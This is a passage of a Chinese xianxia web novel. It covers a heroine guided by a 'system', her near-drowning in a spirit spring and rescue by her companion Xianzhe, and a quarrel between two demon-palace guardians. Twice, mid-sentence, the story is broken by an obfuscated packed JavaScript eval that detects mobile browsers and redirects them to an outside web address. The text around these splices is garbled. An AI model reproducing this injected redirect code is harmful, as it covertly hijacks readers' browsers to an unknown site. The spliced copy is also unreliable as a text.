羡折答道：“从划地的规格和院前的阵法气息中粗略判断的，这方阵法的气息浓厚非常。” 周玉衍点点头：“我试试看能不能解阵，能的话咱们就在这院中住下。” 羡折触了触院门的阵法光幕，微微皱眉，语气严肃：“相当繁复。这阵法走向有几分上古秘阵的感觉。” “若是解不开呢？”他问。 周玉衍抬手指了指天，笑道：“那就睡屋檐上，以天为被，以砖瓦为榻，如何？” 她顿了一下，“不过这般倒是有些委屈你，只是我也不想你与那元婴魔族多待，他对我们起疑了。” 羡折一愣，静静看了她好几息后，轻缓笑起：“这般很好。” 他也抬手，学着周玉衍方才的动作指了指天，“明月照拂，清风绕耳，哪里委屈？” 他话音刚落，正好来了道夜风，将他的发丝吹起几缕，顶上银月映照天下，他的眼睛也清如皎月。 周玉衍恍惚了片刻，心道还好羡折平日永远一副生人勿近的冷淡模样。 她莫名有些局促，赶紧移开目光转身去到院门前，装作开始研究阵法。 实际上她研究的，是门锁。 周玉衍相当清楚，阵法她是解不开的，要她练练剑她还能悬梁刺股地努力努力，但阵法对于她来说简直是数理化加上各种星盘六爻塔罗的结合体，颇有些玄之又玄的感觉。 但门锁——众所周知，不论古今中外，撬门锁都是一张卡纸一条铁丝就能解决了的事。 虽然理性上她对此持怀疑态度，但说实话……她也是真的很想尝试。 周玉衍摩拳擦掌，回想着她看过的那些解密探案悬疑电影，聚灵气当作卡纸，对着这满是复杂阵法结界、仅院门上一个简单的、很有装饰意味的门锁一劈—— “咔哒”一声，阵法气息骤然消失，院门向两侧敞开。 周玉衍呆愣在了原地。 这、这真行啊？ 27. 第 27 章 周玉衍很是震撼。 她原先想着，先满足一下自己从小到大对于开门锁的好奇心，再喊系统看看能不能开挂进院子，不行就再说睡屋顶的事。 没想到，这还真行。 前人诚不欺我啊！ 周玉衍怀着满心敬畏，捧起小锁进了院子。 这院子里倒是没什么特殊，没有阵法结界也没有机关，就像是普通的院落。 正厅陈设也很简单，甚至周玉衍觉得这都不能称作朴素，而是简陋。 她有些狐疑，这大祭司身居高位，住处竟然像个毛坯房，难不成这人不常待在魔宫？ 但这等身份，住不住是一回事，修建时却不可能只造成这副模样，除非是这人自己要求，否则也太过怠慢。 她把羡折支去侧院探查，又在正厅逛了一圈，之后强行开机了系统喊它做安全检测。 系统开启了检测：“院中没有任何危害人的东西，请宿主放心。” 周玉衍很是惊奇：“你醒悟了？说话这么客气。” 系统的声音蔫哒哒的：“宿主，你好像是对的，男主……男主好像，真的不是个温润君子。” “他怎么能那样杀人呢？还杀那么多！这完全违背人设，男主要杀人也得是为天下大义迫于无奈去杀人啊……” 周玉衍：“你评判温润君子竟然是这样的标准？” 但她没想在这个话题多说，问道，“系统，这魔界大祭司是什么人？” 系统没搭理她：“男主崩人设了，这怎么办啊……” 周玉衍没弄懂它在唉声叹气什么：“大祭司的事比较重要，给我传点资料。” 系统：“剧情上锁，我没有权限，查不到的。” 周玉衍皱眉：“又上锁了？虽然这是原书没写的内容，但你之前不是说，任务推进了你也能知道一些支线剧情吗？” “任务哪里推进了？男主都大变样了！” 系统似乎被江以卓崩人设这事刺激得不轻，颇有些破罐子破摔的意思，“剧情也乱套了，我根本不知道剧情。” “剧情哪里乱套了？女主不是在好好地做任务走剧情吗？”周玉衍觉得系统很是莫名其妙，“之前我说剧情乱套的时候，你不是还说小问题吗？” 系统气道：“女主那边当然是小问题！但男主这里是大问题！他都崩人设了！” 周玉衍意识到这系统又犯病了，“女主金丹中期的对手变成了元婴初期，是小问题，男主这个不干活的，崩个人设，反而是大问题？” “他崩人设又不影响剧情——剧情都是女主在走。” 但她话完听见系统万分心碎的哀叹声，还是本着人道主义安慰了一下，“你往好处想嘛，抛开江以卓的人设问题，他现在挺听我的话，也很配合我的行动，等他修为境界上来了，还能帮祝临兰一起走剧情，咱们的任务不是就能完成得更快更好嘛。” “而且人都是多面的，这不叫崩人设，这叫……这叫发掘另一面。” 周玉衍胡言乱语了一通，还以为系统要怼她说这是歪理，没想到系统沉思了几秒后精神一振：“没错啊！这哪里叫崩人设？这叫反差！” “男主表面上是个温润君子，实际上一挥剑能把数十个金丹中后期的魔族斩杀，出招快准狠，眼神能杀死人，这反差多帅啊！” 周玉衍沉默许久，抬脚朝院中书房走去，打算去搜下院子，看能不能找到些与大祭司相关的线索。 “张力！这都是张力啊！更吸引人了！”系统恢复了活力，还十分兴奋，“宿主，慧眼识珠啊！” “你别跟我说话。” 周玉衍深呼吸了好几下，告诉自己放下助人情结尊重这男宝系统的命运，“我怕被你传染拉低智商。” 她屏蔽了系统，推门进了书房。 书房里实在有些乱，各类古籍堆得到处都是，甚至好几本都还翻开敞着，上边的书页折痕明显，砚台上用过的纸墨也未收拾，早已被风干，遍地散落。 周玉衍捡起一看，纸上写满了各种突破境界瓶颈的方法，笔锋锋锐，笔势遒劲，字形顿挫有力。 她又捡起一张，上面写的是各类根骨相关的一些修炼要点。 等她将书房收拾了一通后，也清楚了这大祭司应该是修炼上出了什么岔子，一直在研究自身根骨和突破境界的问题。 且这人面对的问题应该十分棘手，翻遍古籍想尽了办法都没能得出个结果，纸张上的字迹越写到后面越是潦草，周玉衍抚着宣纸都能感受到那股心烦气燥。 “系统，大祭司相关的剧情你真的一点都查不到？这人的性别性格、身形容貌为何？我鸠占鹊巢，底下的魔族倒是好说，但左右护法恐怕不好糊弄。” 系统：“平生经历一点都查不到，只知道这人生在仙家名门，死于强行突破失败。” “竟然是修士入魔……” 周玉衍低叹一声，“修道之人……说是为逍遥于天地才寻登仙路，可又怎么不是被这逍遥所困呢。” 她想了想，“左右护法这两人能查到吗？” 系统：“只有原书提过的那些，这两人都有反心，不过他们支持的人不同，不是同一派的。” “魔尊失踪又是怎么回事？” “也查不到，”系统小声道，“原书中魔尊就只有作为后期boss的那点戏份。” 周玉衍明白了：“问你还不如我自己去查。” 系统一噎：“主要你问的这些都超纲啊！原书一点都没写！” “街市那些人原书也没写，”周玉衍疑问道，“你怎么能查到他们的生平呢？” “那些人又不涉及剧情，”系统骄傲道，“不涉及剧情的人，我连他昨天喝了几杯水、明天要吃几块肉都知道！” 周玉衍不想再跟系统掰扯，出了书房朝后院走去，见这方竟然有一池灵泉，惊奇道：“系统，这灵泉是什么效用？竟然有这么浓郁的灵气。” 系统：“修复内外伤、疏通经络、滋润元神清静心神，还能温养身骨锻炼心境，大概是为突破境界准备的。” “你可以去泡一泡，”系统提议道，“虽然你是身穿，不会因为原主那些旧伤受痛，但毕竟设定上原主该有的伤你也有，这些灵泉对你很有利。” “而且这院子受阵法维护，灵泉很干净，效用很好。” 周玉衍倒也没什么心理负担，既然对她有利，那正好就泡一泡，反正也是该洗洗睡的时辰了。 她启动传音玉牌，告诉羡折这方院子很安全，要他就在侧院住下，之后就将玉牌放到了一边，褪下衣物踏进灵泉。 刚一进灵泉，周玉衍就明显感受到经脉的舒展，赞叹道：“这灵泉还真是不错。” 但她泡着灵泉，却越来越觉得有些昏沉。 或许是这灵泉太热，泡久了有些晕。周玉衍这么想着，就要起身出灵泉，睁眼却只见朦胧雾气。 雾气并不算太重，她隐隐约约看见一位女子的身形，那人似乎正在翻阅着什么。 没一会儿女子停止了翻书的动作，抬手掐诀。 周玉衍一惊，昏沉的脑袋都清醒了片刻——这掐诀的动作太过熟悉，绝对是她也会的一种法诀。 但她还没能想起法诀的名字，那股昏昏欲睡的感觉又漫了上来。 她想看清女子的模样，意识却不受控，催她入眠。 “系统、系统！”周玉衍终于意识到有些不对，然而她喊了系统好几声也没得到回应。 莫名有窒息感攀上来，周玉衍猛地反应过来——她分明在泡灵泉，哪来的翻书女子？只有可能是灵泉产生的幻象。 她心中焦急，视野却渐暗，很快双眼彻底合闭，她拼命睁眼却根本睁不开，窒息的感觉也越来越重，她清楚自己大概是沉下灵泉中了。 周玉衍本能地挣扎起来，竭力保持着清醒，但她没法掐诀施法，系统也突然断联，她心中一慌，勉力张口试着去喊这院中仅剩的那人。 只是这样的呼喊似乎也是徒劳，她根本没有听见自己的声音。 然而下一刻胸腔血气高涨直冲头腔，冲得她浑身发烫大脑闷涨，窒息感昏沉感一刹间消散不见。 意识恢复了一些，手脚似乎也勉强受控，她伸手扑腾了好几下，眼睛却一直睁不开。 直到耳边的鼓噪声渐渐轰鸣又消退，她听见有人惊惧地喊着她—— “周玉衍！” 双臂似乎被人束住，紧接着“哗啦”一声巨响，几乎要震开她的耳膜，她痛苦地皱起眉，却突然发现空气重回了她的胸腔，她本能地呼吸，呛了好几口水。 “周玉衍！睁眼！” 身体的控制权在这瞬间重新回到了她的手里，周玉衍慌忙睁眼，看见羡折。 羡折抓着她的手臂，一身的白衣都已湿透，面上也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329700|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满是灵泉水，水珠滑过他皙白的面孔，顺着他的轮廓滑至下巴处，又重新滴落回灵泉池中。 二人离得很近，周玉衍甚至能看清他的睫羽上也沾了几滴细小的水珠，衬得他的眉眼更加干净，碧水清池一般。 但他面上的神情极为慌乱，颇有种他才是差点淹了水的感觉。 “仙尊？仙尊感觉如何？可有清醒一些？” 周玉衍回了神：“我无事了。” 这话完羡折的神情明显一松，面上急色稍淡，同时松开了她，偏头转身，出了灵泉。 羡折背对着她站在灵泉边上，几息后才说：“仙尊身上有噬魂钉，这等拖人入心境的灵泉，莫要轻易进入。” 接着他聚灵烘干了衣物，抬脚就往后院门边走去。 周玉衍到底不是修真界本土的人，没太明白其中的因果关系，但她现今虽然意识清醒了，身体却因为泡久了灵泉很有些难受，只想赶紧出水。 “我知晓了。”她随口应下，试着运转周天，却聚不出灵力，喊系统也还是没反应。 见羡折就要走出后院，她赶紧道：“等等，羡折，你……你来拉我一下。” 羡折停了步子，顿了很久后才轻声问：“仙尊自己上不来吗？” 这话问得周玉衍很不好意思，毕竟放眼整个修真界，大概也找不出第二个泡灵泉差点被淹死的修士。 “我聚不了灵力，灵泉泡得太久，手脚也有些发软。” 羡折闻言终于动了，他半侧着身垂眼走来，走到灵泉边上，蹲下伸手，同时闭了眼：“仙尊抓住我，我拉你上来。” 周玉衍见他闭眼，这才反应过来自己未着寸缕，这灵泉池水清透，只有点氤氲热气漂浮，根本遮掩不了什么。 她顿时觉得面上更烫了些，没再说什么，伸手搭上羡折的手。 她的手才搭上去，羡折稍一用力，就将她拉出了灵泉，同时也带着她起身。 周玉衍还没站稳，就感觉身上披了件外衣。 羡折紧闭着眼，一手拉着她，一手聚灵召过她放在池边的衣物，胡乱给她披在了肩上，根本没注意他拿的是件外衣。 等周玉衍站稳了，他立刻就要撤回手。 周玉衍赶紧道：“你别松手，我自己站不太起来，你扶我到屋里去。” 她一出灵泉就发现了不对，原先被灵泉泡得滚烫的身体一下子如坠冰窖，刺骨发寒，冷热一交替，让她的手脚更僵硬了几分。 羡折闻言止住了收手的动作，声音却有些冷：“仙尊纵是急于寻突破的法子，体内噬魂钉未拔除之前，也不该贸然尝试这等灵泉。” 周玉衍简直想大喊冤枉，她哪知道什么噬魂钉和灵泉的事，都是系统说这灵泉这好那好的，那她不就寻思泡一下嘛！ 羡折话完后松开了她的手，转去半揽着她的肩侧，俯身伸手到她的膝弯处，隔着袖袍将她抱起。 周玉衍赶紧攀上他的肩颈，另一只手抓着披着的外衣，勉强将其束好。 她一下子被高高抱起，又见羡折依旧紧闭着眼，实在担心他会摔倒：“羡折，你睁眼好好走路，当心别把我一起摔了。” 羡折没应，抱着她快步往屋内走去。 他大抵是循着进院时的记忆走路，稳步出了后院后，脚步一顿，似乎是不知道这处的卧房在哪。 周玉衍开口道：“右边的那侧屋子。你睁开眼睛吧，我披着外衣的。” 羡折一个字都没说，也没睁眼，抱着她往右方走去，但因为他没走过这段路，步子慢了许多，好在有周玉衍时不时地出声指挥他该怎么走，二人顺利进了屋。 但等他要将周玉衍放到床榻上时，动作太过着急，侧脸不小心撞到了床侧的雕花上。 周玉衍没忍住笑：“你也不必这般有礼。早都说了让你睁眼，怎么不睁？你要是睁眼，就不会撞到这一下了。” 羡折还没来得及松开她，她的手也还攀在他的肩颈上，二人的距离太近，他都能感觉到这话完后，有温热的气息飘到他的脸侧。 他呼吸一重，万般克制都有些难捱，缓缓睁开眼睛望向她。 周玉衍眼中还带着笑意，潋滟胜过清透的灵泉，让他不敢多看，却又忍不住多看。 “不必有礼？” 他的声音很低，却又太轻，不像是发问，仅是自语。 不必有礼，那是不是……就可以无礼？ 28. 第 28 章 这等念头起来的那刻，羡折的呼吸顿时乱了。 他心觉荒谬，赶紧就想移开目光，可周玉衍现今衣衫不整，人又在床榻上，他看哪里都不合适。 羡折勉强维持着端静的神情，再次闭上眼，半揽在周玉衍肩侧的手臂上移，动作僵硬地托住她的后脑，用灵力将她的湿发烘干后，护着她往下躺。 手背触到硌人的醒枕，他不自觉地动了动指尖，只觉得手中发丝柔软得过了头，叫他顿住了动作。 “羡折？怎么愣住了？” 周玉衍伸手上前，轻轻拍了拍他撞到雕花的那半张侧脸，“还好，只是红了一点，你这么好看，要是被割破了脸可就不好了。” 她话音刚落，羡折就迅速抓住了她还停留在他脸侧的指尖：“……授受不亲，仙尊别摸了。” 他的声音极轻，带了点颤意，像是极其费力才将这话说出。 周玉衍被他抓住手，又见他这副紧绷到有些防备的模样，颇有种他才是那个衣衫不整在床榻上的人，而自己则在耍流氓调戏他。 她眨眨眼，决定践行一下调戏：“你不让我摸，那为何要抓住我的手？你这般难道不是……也不让我走嘛？” 话完后她顿觉手上力道更重了一些，绞得她的指节都有些轻微的疼痛，她笑了笑，“怎么抓得更紧了？” 羡折像是被惊到那般，飞快地松了手，慌乱无措地直起身拉开与她的距离：“是我冒犯！仙尊……仙尊早些歇息。” 他话完急急转身就要离开，周玉衍却叫住了他：“我的衣裳还在灵泉边上，你帮我拿回屋里来。” 羡折脚步一顿。 良久，他重新睁开眼，盯着面前的山水屏风：“仙尊明日自己去取……可以吗？” 周玉衍：“可我不想我的衣裳在那外边放上一夜。” “你都将我抱回来了，不如帮到底，把我的衣裳也拿回来？” 羡折闻言莫名僵住了身形，再开口时声音稍哑：“……好，我去取。” 等他出了房门，周玉衍再次尝试着呼唤系统，没想到系统这回竟然立刻就出现了，开口的语气还很得意：“怎么了宿主？那灵泉很有效用吧？” 周玉衍有些诧异，这系统怎么好像并不清楚刚才那些事一样？ “灵泉那边的法术把你屏蔽了？你竟然会受这个世界的法术影响吗？” 系统疑惑道：“怎么可能？这世界位面跟我都不是一个次元的，唯一能影响我的，就是有人攻击你的识海。你说的什么法术什么屏蔽？” 周玉衍若有所思，大致与系统说了灵泉的事后，系统惊讶道：“你是身穿，又不是魂穿！这灵泉怎么会对你有这些影响！” 它赶紧去跑了一堆程序，确定道，“检测一切正常啊！你就是正儿八经的身穿，绝不是什么修真界大能意外进入其他位面、失忆后重回修真界这种穿书。” 周玉衍听到这话顿了一下，倒也没有太过在意，总归从前如何并不是她能管得着的事：“那就先别管从前了，之后规避就好。不过我当时喊你那么久，你怎么没反应？” 系统一愣，颇有些恼怒：“我们系统可是很有职业道德的！绝对尊重每一任宿主的隐私！脖子以下自动触发屏蔽程序！直到宿主那边的画面回到脖子以上，屏蔽程序才会把我们系统放出来。” 周玉衍也愣了：“原来你的主脑系统是绿……江河湖海啊。” 她还真没往人性化的方面想，毕竟这系统大多数情况下都不当人：“我都生死一线了，你也不清楚？” 系统底气十足：“我的安全中心没弹出紧急提示，而且你刚刚不是说了，羡折把你救上来了嘛，那就是没有危险嘛，没有危险，当然不会触发底层保护程序的。” 周玉衍一时没接话。 她没显出什么神情，只随手顺了顺自己的头发，拈着一束发丝问道：“我的灵力什么时候恢复？” 系统想了想：“如果按原主的设定，那就是出灵泉两个时辰之后。” 周玉衍：“给我开个挂，不然我没法从储物戒中拿衣裳。” 系统于是开挂把周玉衍的储物戒打开了。 周玉衍：“……我是说，恢复我的灵力。” “我把灵泉带给你的不适感都消除了，”系统心虚道，“但灵力……我刚刚试过给你恢复，结果被权限了，提示说涉及上锁剧情，不可随意更改人物设定。” 周玉衍静了一息，接着重重叹气，颇有些心累。 她从储物戒中拿了套新衣裳，又拿出个蓬松的软枕：“这大祭司还真是一心修炼。” 周玉衍把醒枕放到一旁的案台上，“系统，你就跟这个醒枕一样，看着有用——偶尔也确实有点用。实际上真要说什么勤勉励志，还是靠榻上人自身的醒悟与本领。” 系统：“……弯弯绕绕的，不就是说我没用嘛！” “权限限制，我又跨不过。” 但它大概也清楚自己现在对于周玉衍来说确实是有点鸡肋，找补道，“但再怎么说，我也能给你查查资料嘛，你之前不是问我左右护法、魔尊、还有大祭司的事吗？” “——我刚刚查了这魔界所有我能查到的人，从他们的视角拼了点线索出来。” “左右护法这两人原本是道侣，一起效忠魔尊，但后来右护法大手大脚乱花魔晶、修为懈怠懒惰成性、还偷摸养了好几个侍妾，私生子都有三个，左护法就跟他和离了。” “不过右护法后来洗心革面，跑去找左护法复合，二人又在一起了，再后来左护法发现右护法根本就是死性不改，又要和离，但右护法这次没同意，二人就一直这样拉拉扯扯。” 系统评判道，“要我说，没必要和离嘛，弄得魔宫里人尽皆知了，这多不好听。” “右护法也不是一点可取之处都没有，他好歹不打人嘛，外边许多魔族在家里都能把道侣打成尸干呢！而且他也有心改过嘛，再给他一些时间，给他一些机会，等他……” 周玉衍懒散道：“再给他一些时间、给他一些机会，等他把魔宫的权力都揽过去后，就可以毫无顾忌地坑害自己的妻子了。” “两个人都在魔宫护法的位子上，利益牵扯太过紧密，左护法的修为还比他的要高一些，他自然是不敢打她的。” 系统很不满：“你说话怎么这么难听呢！明明就只是道侣之间闹一闹的把戏而已，复合就是再见爱人懂不懂！” 周玉衍冷笑道：“这是再见爱人吗？这是再爱见人。” 系统忍气吞声：“总之，左右护法的信息可多了，你之后碰见他们问我，我肯定能答上。” “但魔尊的相关信息实在不多，大概因为身份关系，别的魔族一般遇不见他。我只能从他的几个侍女那里查出他是三年前失踪的，起因似乎是魔族内乱致他重伤，或许他是逃跑出去的？” “至于大祭司……” 系统稍有些泄气，“大祭司还真查不到什么，每个见过这人的魔族对这人的印象都不一样，有的人以为大祭司是个上千岁的大能，有的人以为大祭司是个继承官位的幼童，有人说大祭司是个女子，也有人说是男子。” “这人简直就是套进了伪装壳子，披着皮千变万化，根本不知道真面目！” 周玉衍好奇道：“那他们怎么认出大祭司的？靠身份令牌？” 系统：“对，身份令牌，还有修为，大祭司的境界在元婴大圆满，但却能越级对战化神期的人，实力来讲其实也算化神了，化神期的人可不多。” 周玉衍点点头：“正好境界也能对得上，那这回他们看见的大祭司，就是女子了，虽然这样有些草率……” 要说的话被轻敲门扇的声音打断，羡折的声音响起：“仙尊，衣裳我给您放进储物戒了，储物戒我放在进门侧方的案台上。” 他停顿一息，像是换了口气，“我去歇息了。” 周玉衍原本还想喊他再商讨下假扮大祭司的计划，见他这么着急下班，倒也没拦人。 她走过去，从门侧的案台上拿起储物戒，喊系统打开。 崭新的储物戒，里面装着她的衣裳，被人折叠得十分整齐，她将衣裳取出来，上边还残留着一点清洁术的法术气息。 竟然……还把她的衣裳叠好了，还真是帮忙帮到底啊。 “这羡折…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357828|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 周玉衍半天没找出什么措辞，她将衣裳放回自己的储物戒，又将羡折的储物戒放在床侧的案台，想着等明天还给他，毕竟是个新储物戒。 这一打岔，她也没了与系统加班做方案的心思，熄了灯窝进了被窝里。 困意没过意识的前一刻，周玉衍模糊想着：倒是忘了问他怎么发现她淹在灵泉了。 她翻身睡熟了过去，颈间红绳系着的方形玉顺着她的动作滑到了锁骨处。 * 羡折快步回了侧院的卧房，进屋关上门后静站了许久，还是没能将自己鼓噪的心跳压下。 他先前接到周玉衍的传音后，就给这侧院施过了清洁术，卧房也点上了灯，想着练过一套剑法后就回来歇息。 没想到…… 他倏地闭眼，好似只要闭上眼，脑中就不会再浮现那时的情景。 那样不同于寻常的一抹白，那样潋滟到叫他生出荒谬念头的眼睛。 还有那样温热又柔软的触感。 他那时慌乱万分，只想着赶紧助周玉衍清醒出心境，怀中身躯是何触感，他以为自己并没有印象。 哪怕他一路将她抱去了卧房，她的手揽着他、半边身子贴着他，他也根本没想什么，只恍惚地照着她的指令抬步转向。 羡折睁开眼，抬脚向床榻走去。 不错，他根本什么都没想，他那时只想快些把她送回卧房，然后……然后他也就可以回房歇息。 羡折走到了床榻前，盯着这与周玉衍卧房中一模一样的床榻。 只是……床榻上没有那个衣裳凌乱的人，也没有抚上他脸侧的、堪称蛊惑的那点温度。 但恍惚间那人好像又出现了，她勾着他的后颈，眼中笑意半点不羞怯，失了点血色的唇带着温热的气息凑来，几缕乌发从她皙白的锁骨滑下。 所幸再下边是她常穿的、织布着流云纹的白色外衣。 羡折又闭上了眼。 他以为，床榻上她衣裳凌乱的模样，他也不会有印象。 但原来仅要一眼，余光就能把她每一息的动作都记得清晰到他根本忘不了。 呼吸又凌乱起来，羡折紧皱着眉试图调整气息，没一会儿他猛地睁眼，推门出去院子里，翻手一召剑便起惊天剑势。 剑出鞘时铮鸣不断，肃杀之气上掠明月，每一式都似能穿云裂石，平地掀惊澜。 一套剑法过后，羡折停了动作收了剑，重新走回屋里，走到床榻前。 心中杂念半点未消，他难得焦躁，自弃一般坐上了床榻，但锦被的触感立刻让他想到灵泉池边的那几件衣裳。 里衣、亵裤，甚至贴身的小衣，只不见外衣，他抿唇纠结了好几息，施了清洁术后颤着手将衣裳叠好，没敢再多停留，急急又施了一遍清洁术，而后用灵力送进他带着备用的新储物戒。 额间生起细密的汗，羡折不敢再多念。 他原想干脆在院子里练一夜的剑，但他也清楚自己的剑势并不多清明，练剑怕是会扰了周玉衍歇息。 羡折聚灵熄了灯，在床榻上打坐。 摒弃杂念。 他心道，摒弃杂念，止言止行止念。 双手和衣襟上的触感似乎还在，分明他刻意逃避，却越发明显，扰得他紧绷着身体，竭力调整着呼吸，思绪却越来越乱。 他从来都觉得自己是个没什么欲念的人，可现今这方被月光入窗的卧房里，静得一切反应都无所遁形，他才明白原来自己当真会有那等大逆不道以下犯上的念头。 他自觉不堪，并指聚灵作刃，一下划破自己的手臂，鲜血下流刺痛上涨，终于叫他能够分神。 不知她为何要来这魔界一趟，哪怕说什么卦数与魔界相关，分明也可以等几日再进魔界。 还是说……她当真是为了带那江以卓历练？ 思及此处，羡折莫名冷静了下来。 如果今日是江以卓在这侧院，那大抵就是他将她从灵泉中救出、抱她回床榻、为她叠衣。 只是自己因为那元婴魔族的误会，得了个“夫君”的身份，才能到这方近水楼台…… 先得月。 29. 第 29 章 第二日天刚亮，系统就催着周玉衍起床，说左右护法那两人正在这院子外边吵架。 等周玉衍推开院门，面前的两个黑袍人立刻止住了争吵，躬身朝她行礼：“恭迎大人回魔宫。” 周玉衍神色如常，摆手道：“不必多礼。” “大人怎么突然出山了？可是有了主上的消息？”左护法急切问道。 周玉衍摇摇头：“听说外边乱了，就出来看看。” 右护法抬起笑脸：“大人放心，外边一切都还好，我们二人身为护法，出事可都是第一时间去解决的。” 左护法冷着脸，并不接右护法的话：“主上失踪了三年，难免有些小人起心思。大人回来得正好。” “主上行踪不明，魔宫人心不齐，外边那些低等魔族更是蠢蠢欲动——” 她一甩手，掀起衣袍半跪在地，双手将一块拇指大小的黑石递上给周玉衍，“还请大人，肃清魔界！” 系统：“这是调遣魔军的令牌！竟然在左护法手里？！” 周玉衍闻言也颇有些惊讶，依她昨日探查院子所见，大祭司不是个会管魔界事的人，那一书房只有各种修炼相关的书籍。 她正要开口，右护法却猛地朝左护法扑去：“林洵！你做什么！这是能随意拿出来的东西吗！” 左护法似乎早有所料，在他动作的一瞬就迅速起身撤步，叫他扑了个空：“哪里随意？大祭司比你我更适合拿这兵符。” 她抬掌聚起魔气，轰然打向右护法，“我叫墨洵！谁跟你姓！” 右护法抬手接了她一掌，被迫撤后了几步，倒是没敢再扑上去，只怒气冲冲道：“你我婚契未断，照魔族的规矩，你自然是与我姓！” 左护法脸色难看，却是强压着怒气说道：“现今魔界动乱，我没心思与你纠缠解除婚契的事！” 她上前一步，再次向周玉衍递来令牌，“大人，我知晓您不喜涉世，可现今的魔界需要一位君主，还请大人……” “大人！不必听她胡言！” 墨洵的话还没说完，就被右护法打断，“大人从来都不爱管这些杂事，好不容易有兴致出山，自然该好好玩乐一番，这些小事劳烦大人做什么。” 周玉衍听着两人掰扯，心想看来系统搜索的资料只能算作道听途说的流言。 她昨日听完系统的话，还以为这左护法也是个恋爱脑，但现今看来，这人很清醒，权力始终是抓在她自己手里的。 眼看二人又要争吵起来，她开口道：“墨护法且安心，魔界还没有到这等危急时刻，以你之能，护得住魔宫魔界。” 但她话完后却是伸手拿起了令牌，“令牌我可替你保管，你若是碰上什么解决不了的事，我会出手助你。” 右护法急道：“大人，兵符令牌本是我二位护法保管的，她不愿意管事，我却是愿意的！职责所在，岂敢劳烦大人，大人将兵符给我吧。” 墨洵立刻喝道：“主上即位之时，予我兵权，予你财权，这兵符与你可没什么关系！” 她面色隐忍，“主上本意是叫我们能互相制约，哪知你只揽权不行事。如今主上踪迹未知，大祭司出山——我自愿上交兵权，请大祭司肃清魔界！” 右护法还想说些什么，周玉衍看他一眼，说道：“我收着了。你们也可放心，想来魔界还没有人敢来打我的主意，令牌在我这里也更加安全。” 右护法干笑道：“这是自然，只是大人您一向不喜管事……” 周玉衍点头：“所以魔宫的事，我不会多管，都交与墨护法就好。” 二人闻言俱是一愣，右护法大喝道：“大人这是什么意思！” “字面意思，”周玉衍看向墨洵，“从前你怀璧在身，要应付的事确实太多，现下可安心处理魔宫的事了，不过这位子只是暂时的，魔宫毕竟是主上的魔宫，我出山也是为了去寻主上。” 墨洵抬眼望来，眼底隐有水光，神色却放松了许多，行礼道：“多谢大人，我定不会辜负主上与大祭司的信任。” 周玉衍应声，又看向右护法：“右护法，好好辅助墨护法。” 右护法的表情都有些扭曲，半天才磕巴道：“大人此举不太妥当吧？她一人揽权……” 周玉衍语气一沉，放出威压：“怎么，我的话现今已经不管用了？” “自然不是！”右护法急道，“但魔宫的事原本是我二人一同决策，我……” “你辛苦了，”周玉衍截住他的话，“回去多歇息一阵吧。” “不是，大人……”右护法刚要争辩，话说了两句却又止住，侧身回头喝道，“何人鬼祟！” 周玉衍的目光越过右护法，看见过道上一脸惊疑的元婴魔族，以及环臂抱剑、立在他身旁面无表情的江以卓。 “右护法大人，我、我奉命来找……来找……”元婴魔族结巴了一阵，在周玉衍一脸看猪队友的表情中，终于把话说完整，“我来找两位护法大人汇报任务进度。” 周玉衍立刻接话：“你们先去处理吧。魔宫的事就交与墨护法了，我之后不一定待在此处，不过，若出了什么大事，我自会出现，所以也不必多忧。” 墨洵应是，右护法见有外人在场，也不好再说什么，昂头端回了架子，退到过道上朝元婴魔族颔首：“就在此处汇报吧。” 元婴魔族小心翼翼地看了看周玉衍，斟酌道：“我的任务是去魔界边界的南面探查，但那方的确同左护法大人所说那般，并没有主上的踪迹，之后回来路上，我碰见了这位大人，与她一起回了魔宫。” 墨洵点点头：“你倒是好运气，竟然碰见了大祭司大人。去殿内领任务奖赏吧。” 元婴魔族赶紧行礼谢赏，接着转身就想快步离开，只是没等他走几步，右护法突然喝道：“你身旁这人是什么人？筑基的修为，也敢往魔宫带？哪来的令牌？！” “他、他是……” “是我徒弟，”周玉衍适时开口。 她话音刚落，江以卓抬头轻瞥了她一眼，又垂下眼去。 右护法脸色微变，正要说些夸赞的话，周玉衍却谨记着“追夫火葬场”要在前期最大化pua对方，磨灭对方自信，于是先一步说道：“右护法说得不错，这点修为实在可笑，寻常来讲，连魔宫这方地界都不可进入。” 她冲着江以卓微扬下巴，语气平淡，“随为师进院，莫要在外边丢人现眼。” 江以卓没什么反应，安静走到周玉衍跟前，朝她行礼后又安静地走进了院子里，好似这些话于他而言根本称不上羞辱。 周玉衍琢磨着，下回得再加大些力度。 她关了院门走进院子，转头就看见羡折从侧院走出，直直向她走来。 “仙尊是要他与我们同住一院吗？” 羡折语气平常，神色也平常，身上未起一丝剑势，就好像平日在街市时，他总会来她摊位前，与她做一个最平常的问好。 但周玉衍莫名觉得他有些不同寻常。 或许是因为江以卓。她想。 也能理解嘛，名门正派出来的剑修，总是有些疾恶如仇的，更不用说羡折这样清正的性子，知道江以卓是极煞的命道之后，没回见他都没什么好脸色。 “他住另一方侧院，”周玉衍说，“这院子很大，你们不会经常碰见的。” 羡折神情依旧，话语却直白：“仙尊可是忘了你我现今是道侣关系？我们住在一院，第二日却插进来个男徒弟，旁人该如何看？” 周玉衍还没开口，江以卓的声音响起：“管旁人做什么？旁人如何看，与师尊有何关系？” 